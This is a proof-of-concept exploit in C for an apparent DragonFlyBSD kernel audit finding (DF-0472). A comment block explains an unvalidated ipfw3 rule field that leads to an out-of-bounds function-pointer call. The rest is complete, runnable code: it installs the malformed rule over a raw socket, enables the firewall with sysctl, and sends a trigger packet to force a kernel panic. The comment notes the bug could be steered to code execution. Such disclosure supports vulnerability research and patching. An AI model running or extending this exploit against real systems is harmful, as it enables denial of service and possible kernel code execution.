DragonFlyBSD Kernel Audit
DF-0472 / panic.c
← back to finding ↓ download raw
/*
 * DF-0472 - OOB function-pointer call via ip_fw3_chk (CWE-787 -> wild call)
 *
 * The same missing cmd_len validation lets an attacker install a rule whose
 * cmd[0] has out-of-bounds module/opcode. When the firewall is enabled and a
 * packet is evaluated, ip_fw3_chk (sys/net/ipfw3/ip_fw3.c:506) does:
 *
 *     (filter_funcs[cmd->module][cmd->opcode])(&cmd_ctl,&cmd_val,&args,&f,cmd,ip_len);
 *
 * filter_funcs is [MAX_MODULE=10][MAX_OPCODE_PER_MODULE=100]. cmd[0].module /
 * cmd[0].opcode are attacker-controlled and never validated, so module=0x80 /
 * opcode=0x80 indexes 0x80*100+0x80 = 12928 entries past the 1000-entry array
 * => reads a wild pointer from neighbouring kernel memory and CALLS it =>
 * fatal trap (page fault / general protection fault on a non-canonical addr).
 *
 * This is ROOT-triggered (raw socket + firewall enable). It is a kernel
 * memory-corruption primitive (controlled call of an attacker-influenced
 * pointer); on this guest (SMEP/SMAP off) it is steerable to code execution,
 * here demonstrated as a deterministic panic.
 *
 * Build: cc -o panic panic.c
 * Run  : ./panic   (as root, with ipfw3.ko loaded). EXPECT: kernel panic.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stddef.h>

#define MY_IP_FW_X             49
#define MY_IP_FW_ADD           50
#define MY_SIZE_OF_IPFWINSN    8
#define MY_IPFW_RULE_SIZE_MAX  255

typedef struct { uint8_t opcode; uint8_t len; uint16_t arg1;
                 uint8_t module; uint8_t arg3; uint16_t arg2; } my_ipfw_insn;
typedef struct { uint16_t opcode; uint16_t _pad; } my_x_header;

struct my_ioc_rule {
	uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum;
	uint8_t set; uint8_t insert; uint32_t sets;
	uint64_t pcnt; uint64_t bcnt; uint32_t timestamp;
	my_ipfw_insn cmd[1];
};

int main(void) {
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket raw [needs root]"); return 2; }

	/* add a rule whose cmd[0] has OOB module+opcode (cmd_len=255: the bug) */
	unsigned char addbuf[64];
	memset(addbuf, 0, sizeof(addbuf));
	my_x_header *xh = (my_x_header *)addbuf;
	xh->opcode = MY_IP_FW_ADD; xh->_pad = 0;
	struct my_ioc_rule *r = (struct my_ioc_rule *)(addbuf + sizeof(my_x_header));
	memset(r, 0, sizeof(*r));
	r->cmd_len  = MY_IPFW_RULE_SIZE_MAX;     /* 255 -- the unvalidated field */
	r->cmd[0].opcode = 0x80;                 /* OOB opcode  (> 100)          */
	r->cmd[0].len    = 2;                    /* F_LEN=2 so chk advances 2 wd */
	r->cmd[0].module = 0x80;                 /* OOB module  (> 10)           */
	r->cmd[0].arg1   = 0; r->cmd[0].arg3 = 0; r->cmd[0].arg2 = 0;

	size_t addlen = sizeof(my_x_header) + sizeof(struct my_ioc_rule);
	int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, addbuf, addlen);
	printf("[+] installed OOB rule rc=%d (cmd[0] module=0x80 opcode=0x80)\n", rc);
	if (rc) { printf("[!] add failed: %s\n", strerror(errno)); close(s); return 1; }

	/* enable the firewall so ip_fw3_chk runs on the next packet */
	printf("[+] enabling firewall (net.inet.ip.fw3.enable=1)...\n");
	fflush(stdout);
	system("sysctl net.inet.ip.fw3.enable=1");

	/* generate one outbound packet -> ip_fw3_check_out -> ip_fw3_chk
	 * -> filter_funcs[0x80][0x80] -> wild call -> panic            */
	printf("[+] sending trigger packet (expect kernel panic now)...\n");
	fflush(stdout);
	int u = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	struct sockaddr_in dst;
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);          /* discard */
	dst.sin_addr.s_addr = htonl(0x7f000001); /* 127.0.0.1 */
	sendto(u, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
	usleep(200000);
	/* if we get here, the firewall did not panic on that packet */
	printf("[!] no panic observed on trigger packet\n");
	close(u); close(s);
	return 0;
}